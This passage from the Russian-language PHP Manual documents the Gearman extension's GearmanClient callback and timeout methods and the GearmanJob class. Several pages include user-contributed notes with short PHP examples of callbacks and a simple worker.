  • GearmanClient::setCreatedCallback() - Установить функцию обратного вызова, когда задача ставится в очередь
  • GearmanClient::setDataCallback() - Задаёт callback-функцию для обработки переданных данных
  • GearmanClient::setExceptionCallback() - Установка функции обратного вызова для перехвата исключений обработчика заданий
  • GearmanClient::setFailCallback() - Установка callback-функции для обработки ситуации, когда задание не удалось выполнить
  • GearmanClient::setStatusCallback() - Задание callback-функции, собирающей информацию о состоянии обработчика заданий
  • GearmanClient::setWarningCallback() - Установка callback-функции, обслуживающей предупреждения обработчика заданий
  • GearmanClient::setWorkloadCallback() - Установка callback-функции, принимающей промежуточные результаты от обработчика заданий

User Contributed Notes

There are no user contributed notes for this page.


Установите функцию, которая будет вызвана по завершении задачи

  • « GearmanClient::setClientCallback
  • GearmanClient::setContext »
  • PHP Manual
  • GearmanClient
  • Установите функцию, которая будет вызвана по завершении задачи

GearmanClient::setCompleteCallback

(PECL gearman >= 0.5.0)

GearmanClient::setCompleteCallback — Установите функцию, которая будет вызвана по завершении задачи

Описание

public GearmanClient::setCompleteCallback(callable $function): bool

Используется для установки функции, которая будет вызвана, когда GearmanTask будет выполнен, или когда обработчик вызовет GearmanJob::sendComplete(), в зависимости от того, что случится раньше.

Эта callback-функция запускается только когда GearmanTask запущен с использованием GearmanClient::runTasks(). Это не используется для индивидуальной работы.

Список параметров

function

Функция, которая должна быть вызвана.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanClient::setDataCallback() - Задаёт callback-функцию для обработки переданных данных
  • GearmanClient::setCreatedCallback() - Установить функцию обратного вызова, когда задача ставится в очередь
  • GearmanClient::setExceptionCallback() - Установка функции обратного вызова для перехвата исключений обработчика заданий
  • GearmanClient::setFailCallback() - Установка callback-функции для обработки ситуации, когда задание не удалось выполнить
  • GearmanClient::setStatusCallback() - Задание callback-функции, собирающей информацию о состоянии обработчика заданий
  • GearmanClient::setWarningCallback() - Установка callback-функции, обслуживающей предупреждения обработчика заданий
  • GearmanClient::setWorkloadCallback() - Установка callback-функции, принимающей промежуточные результаты от обработчика заданий

User Contributed Notes

Justas Butkus 18-Aug-2011 06:59
One shall note, that callback function MUST either return a valid Gearman status code, or return nothing (do not return).

I.e. these are valid complete callbacks:

<?php
function goodCallbackOne(GearmanTask $task)
{
    print_r($task);
}
?>

<?php
function goodCallbackTwo(GearmanTask $task)
{
    print_r($task);
    return GEARMAN_SUCCESS;
}
?>

While following is NOT, unless you want your client code to fail with Gearman error 'german wait:no active file descriptors':

<?php
function badCallbackTwo(GearmanTask $task)
{
    print_r($task);
    return true;
}
?>


Установить контекст приложения

  • « GearmanClient::setCompleteCallback
  • GearmanClient::setCreatedCallback »
  • PHP Manual
  • GearmanClient
  • Установить контекст приложения

GearmanClient::setContext

(PECL gearman >= 0.6.0)

GearmanClient::setContext — Установить контекст приложения

Описание

public GearmanClient::setContext(string $data): bool

Устанавливает произвольную строку для предоставления контекста приложения, которая может быть позже получена с помощью GearmanClient::context().

Список параметров

data

Произвольные данные контекста

Возвращаемые значения

Всегда возвращает true.

Смотрите также

  • GearmanClient::context() - Возвращает контекст приложения

User Contributed Notes

There are no user contributed notes for this page.


Установить функцию обратного вызова, когда задача ставится в очередь

  • « GearmanClient::setContext
  • GearmanClient::setData »
  • PHP Manual
  • GearmanClient
  • Установить функцию обратного вызова, когда задача ставится в очередь

GearmanClient::setCreatedCallback

(PECL gearman >= 0.5.0)

GearmanClient::setCreatedCallback — Установить функцию обратного вызова, когда задача ставится в очередь

Описание

public GearmanClient::setCreatedCallback(callable $function): bool

Устанавливает функцию, которая будет вызвана, когда задача получена и поставлена в очередь сервером задач Gearman. Функция обратного вызова должна принимать единственный параметр - объект GearmanTask.

Список параметров

function

Функция, которая должна быть вызвана.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanClient::setDataCallback() - Задаёт callback-функцию для обработки переданных данных
  • GearmanClient::setCompleteCallback() - Установите функцию, которая будет вызвана по завершении задачи
  • GearmanClient::setExceptionCallback() - Установка функции обратного вызова для перехвата исключений обработчика заданий
  • GearmanClient::setFailCallback() - Установка callback-функции для обработки ситуации, когда задание не удалось выполнить
  • GearmanClient::setStatusCallback() - Задание callback-функции, собирающей информацию о состоянии обработчика заданий
  • GearmanClient::setWarningCallback() - Установка callback-функции, обслуживающей предупреждения обработчика заданий
  • GearmanClient::setWorkloadCallback() - Установка callback-функции, принимающей промежуточные результаты от обработчика заданий

User Contributed Notes

stanislav dot reshetnev at gmail dot com 30-Oct-2014 04:07
Callback can accept not only GearmanTask object, but it can recieve a variable from GearmanClient::addTask():

<?php
$client = new GearmanClient();
$client->addServer();

$client->setCreatedCallback(function(GearmanTask $task, $some_info) {
  // now we have $some_info
  // ...
});

$client->addTask($function_name, $workload, "some info");
?>

So, we can send to our anonymous function something like $workload, because we can't get it from GearmanTask object. It may be usefull for logging of tasks queuing.
Karl Rixon 20-Oct-2014 02:57
Contrary to the documentation, this callback accepts an instance of \GearmanTask, not \GearmanClient.


Установить данные приложения (устаревший метод)

  • « GearmanClient::setCreatedCallback
  • GearmanClient::setDataCallback »
  • PHP Manual
  • GearmanClient
  • Установить данные приложения (устаревший метод)

GearmanClient::setData

(PECL gearman <= 0.5.0)

GearmanClient::setData — Установить данные приложения (устаревший метод)

Описание

public GearmanClient::setData(string $data): bool

Устанавливает некоторые произвольные данные приложения, которые впоследствии могут быть извлечены GearmanClient::data().

Замечание:

Этот метод был заменён на GearmanCient::setContext() в версии 0.6.0 модуля Gearman.

Список параметров

data

Возвращаемые значения

Всегда возвращает true.

Смотрите также

  • GearmanClient::data() - Возвращает данные приложения (функция устарела)

User Contributed Notes

There are no user contributed notes for this page.


Задаёт callback-функцию для обработки переданных данных

  • « GearmanClient::setData
  • GearmanClient::setExceptionCallback »
  • PHP Manual
  • GearmanClient
  • Задаёт callback-функцию для обработки переданных данных

GearmanClient::setDataCallback

(PECL gearman >= 0.6.0)

GearmanClient::setDataCallback — Задаёт callback-функцию для обработки переданных данных

Описание

public GearmanClient::setDataCallback(callable $function): bool

Задаёт callback-функцию, которая будет обрабатывать данные задания. Эта функция должна принимать один аргумент типа GearmanTask.

Список параметров

function

Функция или метод для обратного вызова.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanClient::setCompleteCallback() - Установите функцию, которая будет вызвана по завершении задачи
  • GearmanClient::setCreatedCallback() - Установить функцию обратного вызова, когда задача ставится в очередь
  • GearmanClient::setExceptionCallback() - Установка функции обратного вызова для перехвата исключений обработчика заданий
  • GearmanClient::setFailCallback() - Установка callback-функции для обработки ситуации, когда задание не удалось выполнить
  • GearmanClient::setStatusCallback() - Задание callback-функции, собирающей информацию о состоянии обработчика заданий
  • GearmanClient::setWarningCallback() - Установка callback-функции, обслуживающей предупреждения обработчика заданий
  • GearmanClient::setWorkloadCallback() - Установка callback-функции, принимающей промежуточные результаты от обработчика заданий

User Contributed Notes

There are no user contributed notes for this page.


Установка функции обратного вызова для перехвата исключений обработчика заданий

  • « GearmanClient::setDataCallback
  • GearmanClient::setFailCallback »
  • PHP Manual
  • GearmanClient
  • Установка функции обратного вызова для перехвата исключений обработчика заданий

GearmanClient::setExceptionCallback

(PECL gearman >= 0.5.0)

GearmanClient::setExceptionCallback — Установка функции обратного вызова для перехвата исключений обработчика заданий

Описание

public GearmanClient::setExceptionCallback(callable $function): bool

Задаёт функцию, которая будет вызываться, когда обработчик задания отправит исключение.

Список параметров

function

Функция для перехвата исключения, выброшенного обработчиком заданий.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanClient::setDataCallback() - Задаёт callback-функцию для обработки переданных данных
  • GearmanClient::setCompleteCallback() - Установите функцию, которая будет вызвана по завершении задачи
  • GearmanClient::setCreatedCallback() - Установить функцию обратного вызова, когда задача ставится в очередь
  • GearmanClient::setFailCallback() - Установка callback-функции для обработки ситуации, когда задание не удалось выполнить
  • GearmanClient::setStatusCallback() - Задание callback-функции, собирающей информацию о состоянии обработчика заданий
  • GearmanClient::setWarningCallback() - Установка callback-функции, обслуживающей предупреждения обработчика заданий
  • GearmanClient::setWorkloadCallback() - Установка callback-функции, принимающей промежуточные результаты от обработчика заданий

User Contributed Notes

There are no user contributed notes for this page.


Установка callback-функции для обработки ситуации, когда задание не удалось выполнить

  • « GearmanClient::setExceptionCallback
  • GearmanClient::setOptions »
  • PHP Manual
  • GearmanClient
  • Установка callback-функции для обработки ситуации, когда задание не удалось выполнить

GearmanClient::setFailCallback

(PECL gearman >= 0.5.0)

GearmanClient::setFailCallback — Установка callback-функции для обработки ситуации, когда задание не удалось выполнить

Описание

public GearmanClient::setFailCallback(callable $function): bool

Задаёт функцию обратного вызова для обработки ситуации, когда задание выполнить не удалось. Принимает один аргумент типа GearmanTask.

Список параметров

function

Функция для вызова.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanClient::setDataCallback() - Задаёт callback-функцию для обработки переданных данных
  • GearmanClient::setCompleteCallback() - Установите функцию, которая будет вызвана по завершении задачи
  • GearmanClient::setCreatedCallback() - Установить функцию обратного вызова, когда задача ставится в очередь
  • GearmanClient::setExceptionCallback() - Установка функции обратного вызова для перехвата исключений обработчика заданий
  • GearmanClient::setStatusCallback() - Задание callback-функции, собирающей информацию о состоянии обработчика заданий
  • GearmanClient::setWarningCallback() - Установка callback-функции, обслуживающей предупреждения обработчика заданий
  • GearmanClient::setWorkloadCallback() - Установка callback-функции, принимающей промежуточные результаты от обработчика заданий

User Contributed Notes

There are no user contributed notes for this page.


Установка настроек клиента

  • « GearmanClient::setFailCallback
  • GearmanClient::setStatusCallback »
  • PHP Manual
  • GearmanClient
  • Установка настроек клиента

GearmanClient::setOptions

(PECL gearman >= 0.5.0)

GearmanClient::setOptions — Установка настроек клиента

Описание

public GearmanClient::setOptions(int $option): bool

Устанавливает одну или несколько настроек клиента.

Список параметров

option

Задаваемые настройки

Возвращаемые значения

Всегда возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Задание callback-функции, собирающей информацию о состоянии обработчика заданий

  • « GearmanClient::setOptions
  • GearmanClient::setTimeout »
  • PHP Manual
  • GearmanClient
  • Задание callback-функции, собирающей информацию о состоянии обработчика заданий

GearmanClient::setStatusCallback

(PECL gearman >= 0.5.0)

GearmanClient::setStatusCallback — Задание callback-функции, собирающей информацию о состоянии обработчика заданий

Описание

public GearmanClient::setStatusCallback(callable $function): bool

Задаёт callback-функцию, которая будет принимать и обрабатывать информацию о состоянии задания, передаваемую обработчиком заданий. Функция должна принимать один аргумент типа GearmanTask.

Список параметров

function

Функция для вызова

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanClient::setDataCallback() - Задаёт callback-функцию для обработки переданных данных
  • GearmanClient::setCompleteCallback() - Установите функцию, которая будет вызвана по завершении задачи
  • GearmanClient::setCreatedCallback() - Установить функцию обратного вызова, когда задача ставится в очередь
  • GearmanClient::setExceptionCallback() - Установка функции обратного вызова для перехвата исключений обработчика заданий
  • GearmanClient::setFailCallback() - Установка callback-функции для обработки ситуации, когда задание не удалось выполнить
  • GearmanClient::setWarningCallback() - Установка callback-функции, обслуживающей предупреждения обработчика заданий
  • GearmanClient::setWorkloadCallback() - Установка callback-функции, принимающей промежуточные результаты от обработчика заданий

User Contributed Notes

There are no user contributed notes for this page.


Установка времени ожидания для операций ввода/вывода

  • « GearmanClient::setStatusCallback
  • GearmanClient::setWarningCallback »
  • PHP Manual
  • GearmanClient
  • Установка времени ожидания для операций ввода/вывода

GearmanClient::setTimeout

(PECL gearman >= 0.6.0)

GearmanClient::setTimeout — Установка времени ожидания для операций ввода/вывода

Описание

public GearmanClient::setTimeout(int $timeout): bool

Устанавливает время ожидания для операций ввода/вывода.

Список параметров

timeout

Временной интервал в миллисекундах

Возвращаемые значения

Всегда возвращает true.

User Contributed Notes

luckyboy449 at yahoo dot com 11-Jul-2019 09:22
Note that GEARMAN_TIMEOUT is mostly triggered when you use a callback with the addTask() and addTaskBackground() methods. If the Gearman server is not able to answer under high volume of jobs  about the status of the current job, the client will certainly throw a GEARMAN_TIMEOUT error.

The safest way to escape this error is using the doBackground() method especially when you are not interested to find the status of the job (failed or completed) and that should be a rule when you are sending high volume of jobs to the server.
casper at bcx dot nl 31-Aug-2017 08:00
If a timeout is set with this method, and a timeout occurred, calling ->returnCode() will return GEARMAN_TIMEOUT

Beware that a timeout of for example a doBackground() call does not mean the job did not start. It's very possible the job got submitted and started but the gearmand server was not able to communicate that information back to you.
Ismael Cristal Jr 06-Oct-2012 02:54
GearmanClient has a default timeout of -1 you need to set this to a positive number using setTimeout to avoid cases where your script waits forever to run a job even if there are no workers running at all.


Установка callback-функции, обслуживающей предупреждения обработчика заданий

  • « GearmanClient::setTimeout
  • GearmanClient::setWorkloadCallback »
  • PHP Manual
  • GearmanClient
  • Установка callback-функции, обслуживающей предупреждения обработчика заданий

GearmanClient::setWarningCallback

(PECL gearman >= 0.5.0)

GearmanClient::setWarningCallback — Установка callback-функции, обслуживающей предупреждения обработчика заданий

Описание

public GearmanClient::setWarningCallback(callable $function): bool

Задаёт функцию, которая будет вызываться, когда обработчик заданий пришлёт предупреждение. Функция должна принимать один аргумент типа GearmanTask.

Список параметров

function

Функция для обратного вызова

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanClient::setDataCallback() - Задаёт callback-функцию для обработки переданных данных
  • GearmanClient::setCompleteCallback() - Установите функцию, которая будет вызвана по завершении задачи
  • GearmanClient::setCreatedCallback() - Установить функцию обратного вызова, когда задача ставится в очередь
  • GearmanClient::setExceptionCallback() - Установка функции обратного вызова для перехвата исключений обработчика заданий
  • GearmanClient::setFailCallback() - Установка callback-функции для обработки ситуации, когда задание не удалось выполнить
  • GearmanClient::setStatusCallback() - Задание callback-функции, собирающей информацию о состоянии обработчика заданий
  • GearmanClient::setWorkloadCallback() - Установка callback-функции, принимающей промежуточные результаты от обработчика заданий

User Contributed Notes

There are no user contributed notes for this page.


Установка callback-функции, принимающей промежуточные результаты от обработчика заданий

  • « GearmanClient::setWarningCallback
  • GearmanClient::timeout »
  • PHP Manual
  • GearmanClient
  • Установка callback-функции, принимающей промежуточные результаты от обработчика заданий

GearmanClient::setWorkloadCallback

(PECL gearman >= 0.5.0)

GearmanClient::setWorkloadCallback — Установка callback-функции, принимающей промежуточные результаты от обработчика заданий

Описание

public GearmanClient::setWorkloadCallback(callable $function): bool

Задаёт функцию, которая будет вызываться, когда обработчику задания необходимо передать промежуточные результаты клиенту до завершения всей обработки. Обработчику заданий может потребоваться такая пересылка, если нужно передать клиенту какие-либо обновления, частично отправить результаты обработки или освободить память во время выполнения долгих заданий. Функция должна принимать один аргумент типа GearmanTask.

Список параметров

function

Callback-функция.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanClient::setDataCallback() - Задаёт callback-функцию для обработки переданных данных
  • GearmanClient::setCompleteCallback() - Установите функцию, которая будет вызвана по завершении задачи
  • GearmanClient::setCreatedCallback() - Установить функцию обратного вызова, когда задача ставится в очередь
  • GearmanClient::setExceptionCallback() - Установка функции обратного вызова для перехвата исключений обработчика заданий
  • GearmanClient::setFailCallback() - Установка callback-функции для обработки ситуации, когда задание не удалось выполнить
  • GearmanClient::setStatusCallback() - Задание callback-функции, собирающей информацию о состоянии обработчика заданий
  • GearmanClient::setWarningCallback() - Установка callback-функции, обслуживающей предупреждения обработчика заданий

User Contributed Notes

There are no user contributed notes for this page.


Получение значения времени ожидания операций ввода/вывода

  • « GearmanClient::setWorkloadCallback
  • GearmanClient::wait »
  • PHP Manual
  • GearmanClient
  • Получение значения времени ожидания операций ввода/вывода

GearmanClient::timeout

(PECL gearman >= 0.6.0)

GearmanClient::timeout — Получение значения времени ожидания операций ввода/вывода

Описание

public GearmanClient::timeout(): int

Возвращает время ожидания операций ввода/вывода в миллисекундах.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Время ожидания в миллисекундах. Отрицательное значение означает отсутствие ограничения.

Смотрите также

  • GearmanClient::setTimeout() - Установка времени ожидания для операций ввода/вывода

User Contributed Notes

There are no user contributed notes for this page.


Ожидает активности ввода-вывода для всех подключений на клиенте

  • « GearmanClient::timeout
  • GearmanJob »
  • PHP Manual
  • GearmanClient
  • Ожидает активности ввода-вывода для всех подключений на клиенте

GearmanClient::wait

(PECL gearman >= 0.6.0)

GearmanClient::wait — Ожидает активности ввода-вывода для всех подключений на клиенте

Описание

public GearmanClient::wait(): bool

Ожидает активности от любого из подключённых серверов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true в случае успешного выполнения, false в случае возникновения ошибки.

Смотрите также

  • GearmanWorker::wait() - Ожидание запроса с одного из сервера задач

User Contributed Notes

There are no user contributed notes for this page.


Класс GearmanJob

(PECL gearman >= 0.5.0)

Введение

Обзор классов

class GearmanJob {
/* Методы */
public functionName(): false|string
public handle(): false|string
public returnCode(): int
public sendComplete(string $result): bool
public sendData(string $data): bool
public sendException(string $exception): bool
public sendFail(): bool
public sendStatus(int $numerator, int $denominator): bool
public sendWarning(string $warning): bool
public setReturn(int $gearman_return_t): bool
public unique(): false|string
public workload(): string
public workloadSize(): int
}

Содержание

  • GearmanJob::complete — Отправка результата и статуса завершения (устаревший метод)
  • GearmanJob::__construct — Создание объекта GearmanJob
  • GearmanJob::data — Отправка данных (устаревший метод)
  • GearmanJob::exception — Отправка исключения (устаревший метод)
  • GearmanJob::fail — Отправка статуса неудачной операции (устаревший метод)
  • GearmanJob::functionName — Получение имени функции
  • GearmanJob::handle — Получение дескриптора объекта задания
  • GearmanJob::returnCode — Получение последнего кода возврата
  • GearmanJob::sendComplete — Отправка результата и статуса завершения
  • GearmanJob::sendData — Отправка данных выполняющемуся заданию
  • GearmanJob::sendException — Отправка исключения выполняющемуся заданию
  • GearmanJob::sendFail — Отправка статуса неудачной операции
  • GearmanJob::sendStatus — Отправка статуса
  • GearmanJob::sendWarning — Отправка предупреждения
  • GearmanJob::setReturn — Установка возвращаемого значения
  • GearmanJob::status — Отправка статуса задания (устаревший метод)
  • GearmanJob::unique — Получение уникального идентификатора
  • GearmanJob::warning — Отправка предупреждения (устаревший метод)
  • GearmanJob::workload — Получение данных для обработки
  • GearmanJob::workloadSize — Получение размера обрабатываемых данных

User Contributed Notes

There are no user contributed notes for this page.


Отправка результата и статуса завершения (устаревший метод)

  • « GearmanJob
  • GearmanJob::__construct »
  • PHP Manual
  • GearmanJob
  • Отправка результата и статуса завершения (устаревший метод)

GearmanJob::complete

(PECL gearman <= 0.5.0)

GearmanJob::complete — Отправка результата и статуса завершения (устаревший метод)

Описание

public GearmanJob::complete(string $result): bool

Отправляет результаты обработки клиенту и обновляет статус работы на завершённый.

Замечание:

Этот метод был заменён на GearmanJob::sendComplete() в выпуске модуля Gearman 0.6.0.

Список параметров

result

Сериализованные результаты обработки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanJob::sendFail() - Отправка статуса неудачной операции
  • GearmanJob::setReturn() - Установка возвращаемого значения

User Contributed Notes

There are no user contributed notes for this page.


Создание объекта GearmanJob

  • « GearmanJob::complete
  • GearmanJob::data »
  • PHP Manual
  • GearmanJob
  • Создание объекта GearmanJob

GearmanJob::__construct

(PECL gearman >= 0.5.0)

GearmanJob::__construct — Создание объекта GearmanJob

Описание

public GearmanJob::__construct()

Создаёт объект класса GearmanJob, представляющий задание для обработчика.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект GearmanJob.

User Contributed Notes

liv_romania at yahoo dot com 19-Jul-2015 08:35
Usually you will not need to create a GearmanJob object. The GearmanJob instance will be passed to a registered function with the job server when GearmanWorker::addFunction is used:

<?php
// create the worker
$worker= new GearmanWorker();

// add the default job server (localhost)
$worker->addServer('127.0.0.1', 4730);

// define a variable to hold application data
$count = 0;

// add the reverse function
$worker->addFunction('reverse', 'my_reverse_function', $count);

// start the worker listening for job submissions
while ($worker->work());

function my_reverse_function(GearmanJob $job, &$count)
{
    $count++;

    return $count . ': ' . strrev($job->workload()) . "\n";
}
?>


Отправка данных (устаревший метод)

  • « GearmanJob::__construct
  • GearmanJob::exception »
  • PHP Manual
  • GearmanJob
  • Отправка данных (устаревший метод)

GearmanJob::data

(PECL gearman <= 0.5.0)

GearmanJob::data — Отправка данных (устаревший метод)

Описание

public GearmanJob::data(string $data): bool

Отправляет данные серверу заданий (и всем слушающим клиентам).

Замечание:

Этот метод был заменён на GearmanJob::sendData() в выпуске 0.6.0 модуля Gearman.

Список параметров

data

Сериализованные данные.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanJob::workload() - Получение данных для обработки
  • GearmanTask::data() - Получить данные, возвращённые для задачи

User Contributed Notes

There are no user contributed notes for this page.


Отправка исключения (устаревший метод)

  • « GearmanJob::data
  • GearmanJob::fail »
  • PHP Manual
  • GearmanJob
  • Отправка исключения (устаревший метод)

GearmanJob::exception

(PECL gearman <= 0.5.0)

GearmanJob::exception — Отправка исключения (устаревший метод)

Описание

public GearmanJob::exception(string $exception): bool

Посылает исключение, возникшее во время выполнения работы.

Замечание:

Этот метод был заменён на GearmanJob::sendException() в модуле Gearman версии 0.6.0.

Список параметров

exception

Описание исключения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanJob::setReturn() - Установка возвращаемого значения
  • GearmanJob::sendStatus() - Отправка статуса
  • GearmanJob::sendWarning() - Отправка предупреждения

User Contributed Notes

There are no user contributed notes for this page.


Отправка статуса неудачной операции (устаревший метод)

  • « GearmanJob::exception
  • GearmanJob::functionName »
  • PHP Manual
  • GearmanJob
  • Отправка статуса неудачной операции (устаревший метод)

GearmanJob::fail

(PECL gearman <= 0.5.0)

GearmanJob::fail — Отправка статуса неудачной операции (устаревший метод)

Описание

public GearmanJob::fail(): bool

Посылает статус о неудачной обработки, указывая, что задание завершилось неудачно по известным причинам (в отличие от неудачного завершения, когда выбрасывается исключение).

Замечание:

Этот метод был заменён на GearmanJob::sendFail() в версии 0.6.0 модуля Gearman.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanJob::sendException() - Отправка исключения выполняющемуся заданию
  • GearmanJob::setReturn() - Установка возвращаемого значения
  • GearmanJob::sendStatus() - Отправка статуса
  • GearmanJob::sendWarning() - Отправка предупреждения

User Contributed Notes

There are no user contributed notes for this page.


Получение имени функции

  • « GearmanJob::fail
  • GearmanJob::handle »
  • PHP Manual
  • GearmanJob
  • Получение имени функции

GearmanJob::functionName

(PECL gearman >= 0.5.0)

GearmanJob::functionName — Получение имени функции

Описание

public GearmanJob::functionName(): false|string

Возвращает имя функции, обрабатывающей данные, то есть функции, которая будет вызвана для выполнения задания.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Имя функции или false, если задание ещё не инициализировано.

Смотрите также

  • GearmanTask::function() - Получить имя связанной функции (устаревший метод)

User Contributed Notes

fastest963 at gmail dot com 01-Oct-2014 01:16
FYI this is the queue name not the callable function name.


Получение дескриптора объекта задания

  • « GearmanJob::functionName
  • GearmanJob::returnCode »
  • PHP Manual
  • GearmanJob
  • Получение дескриптора объекта задания

GearmanJob::handle

(PECL gearman >= 0.5.0)

GearmanJob::handle — Получение дескриптора объекта задания

Описание

public GearmanJob::handle(): false|string

Возвращает дескриптор задания, присвоенный сервером.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Дескриптор задания или false, если задание ещё не инициализировано.

Смотрите также

  • GearmanTask::jobHandle() - Получить дескриптор задания

User Contributed Notes

There are no user contributed notes for this page.


Получение последнего кода возврата

  • « GearmanJob::handle
  • GearmanJob::sendComplete »
  • PHP Manual
  • GearmanJob
  • Получение последнего кода возврата

GearmanJob::returnCode

(PECL gearman >= 0.5.0)

GearmanJob::returnCode — Получение последнего кода возврата

Описание

public GearmanJob::returnCode(): int

Возвращает последний выданный сервером заданий код возврата.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Допустимый в Gearman код возврата.

Смотрите также

  • GearmanTask::returnCode() - Получить последний код возврата

User Contributed Notes

There are no user contributed notes for this page.


Отправка результата и статуса завершения

  • « GearmanJob::returnCode
  • GearmanJob::sendData »
  • PHP Manual
  • GearmanJob
  • Отправка результата и статуса завершения

GearmanJob::sendComplete

(PECL gearman >= 0.6.0)

GearmanJob::sendComplete — Отправка результата и статуса завершения

Описание

public GearmanJob::sendComplete(string $result): bool

Отправляет результаты работы клиенту и обновляет статус объекта на завершённый.

Список параметров

result

Сериализованные результаты работы.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanJob::sendFail() - Отправка статуса неудачной операции
  • GearmanJob::setReturn() - Установка возвращаемого значения

User Contributed Notes

There are no user contributed notes for this page.


Отправка данных выполняющемуся заданию

  • « GearmanJob::sendComplete
  • GearmanJob::sendException »
  • PHP Manual
  • GearmanJob
  • Отправка данных выполняющемуся заданию

GearmanJob::sendData

(PECL gearman >= 0.6.0)

GearmanJob::sendData — Отправка данных выполняющемуся заданию

Описание

public GearmanJob::sendData(string $data): bool

Отправляет данные серверу заданий (и всем слушающим клиентам).

Список параметров

data

Сериализованные данные.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanJob::workload() - Получение данных для обработки
  • GearmanTask::data() - Получить данные, возвращённые для задачи

User Contributed Notes

ABC 24-May-2013 07:55
For Gearman PHP 1.1.1
sendData() only works for addTask.
It does not work with doNormal, doBackground or addTaskBackground submission types


Отправка исключения выполняющемуся заданию

  • « GearmanJob::sendData
  • GearmanJob::sendFail »
  • PHP Manual
  • GearmanJob
  • Отправка исключения выполняющемуся заданию

GearmanJob::sendException

(PECL gearman >= 0.6.0)

GearmanJob::sendException — Отправка исключения выполняющемуся заданию

Описание

public GearmanJob::sendException(string $exception): bool

Посылает исключение, возникшее во время выполнения работы.

Список параметров

exception

Описание исключения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanJob::setReturn() - Установка возвращаемого значения
  • GearmanJob::sendStatus() - Отправка статуса
  • GearmanJob::sendWarning() - Отправка предупреждения

User Contributed Notes

There are no user contributed notes for this page.


Отправка статуса неудачной операции

  • « GearmanJob::sendException
  • GearmanJob::sendStatus »
  • PHP Manual
  • GearmanJob
  • Отправка статуса неудачной операции

GearmanJob::sendFail

(PECL gearman >= 0.6.0)

GearmanJob::sendFail — Отправка статуса неудачной операции

Описание

public GearmanJob::sendFail(): bool

Посылает статус о неудачной обработки, указывая, что задание завершилось неудачно по известным причинам (в отличие от неудачного завершения, когда выбрасывается исключение).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanJob::sendException() - Отправка исключения выполняющемуся заданию
  • GearmanJob::setReturn() - Установка возвращаемого значения
  • GearmanJob::sendStatus() - Отправка статуса
  • GearmanJob::sendWarning() - Отправка предупреждения

User Contributed Notes

There are no user contributed notes for this page.


Отправка статуса

  • « GearmanJob::sendFail
  • GearmanJob::sendWarning »
  • PHP Manual
  • GearmanJob
  • Отправка статуса

GearmanJob::sendStatus

(PECL gearman >= 0.6.0)

GearmanJob::sendStatus — Отправка статуса

Описание

public GearmanJob::sendStatus(int $numerator, int $denominator): bool

Посылает на сервер задач и всем слушающим клиентам статус текущей работы. С помощью этого метода можно узнать, какой процент задания выполнен.

Список параметров

numerator

Доля выполненной работы.

denominator

Количество всей работы.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanClient::jobStatus() - Получение статуса выполнения фонового задания
  • GearmanTask::taskDenominator() - Получить знаменатель процента выполненной работы
  • GearmanTask::taskNumerator() - Получение числителя процента выполненной работы

User Contributed Notes

There are no user contributed notes for this page.


Отправка предупреждения

  • « GearmanJob::sendStatus
  • GearmanJob::setReturn »
  • PHP Manual
  • GearmanJob
  • Отправка предупреждения

GearmanJob::sendWarning

(PECL gearman >= 0.6.0)

GearmanJob::sendWarning — Отправка предупреждения

Описание

public GearmanJob::sendWarning(string $warning): bool

Во время выполнения работы отправляет предупреждение.

Список параметров

warning

Сообщение предупреждения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • GearmanJob::sendComplete() - Отправка результата и статуса завершения
  • GearmanJob::sendException() - Отправка исключения выполняющемуся заданию
  • GearmanJob::sendFail() - Отправка статуса неудачной операции

User Contributed Notes

There are no user contributed notes for this page.


Установка возвращаемого значения

  • « GearmanJob::sendWarning
  • GearmanJob::status »
  • PHP Manual
  • GearmanJob
  • Установка возвращаемого значения

GearmanJob::setReturn

(PECL gearman >= 0.5.0)

GearmanJob::setReturn — Установка возвращаемого значения

Описание

public GearmanJob::setReturn(int $gearman_return_t): bool

Задаёт возвращаемое значение для текущего задания. Это значение указывает, как завершилось задание.

Список параметров

gearman_return_t

Допустимое в Gearman возвращаемое значение.

Возвращаемые значения

Описание...

User Contributed Notes

There are no user contributed notes for this page.


Отправка статуса задания (устаревший метод)

  • « GearmanJob::setReturn
  • GearmanJob::unique »
  • PHP Manual
  • GearmanJob
  • Отправка статуса задания (устаревший метод)

GearmanJob::status

(PECL gearman <= 0.5.0)

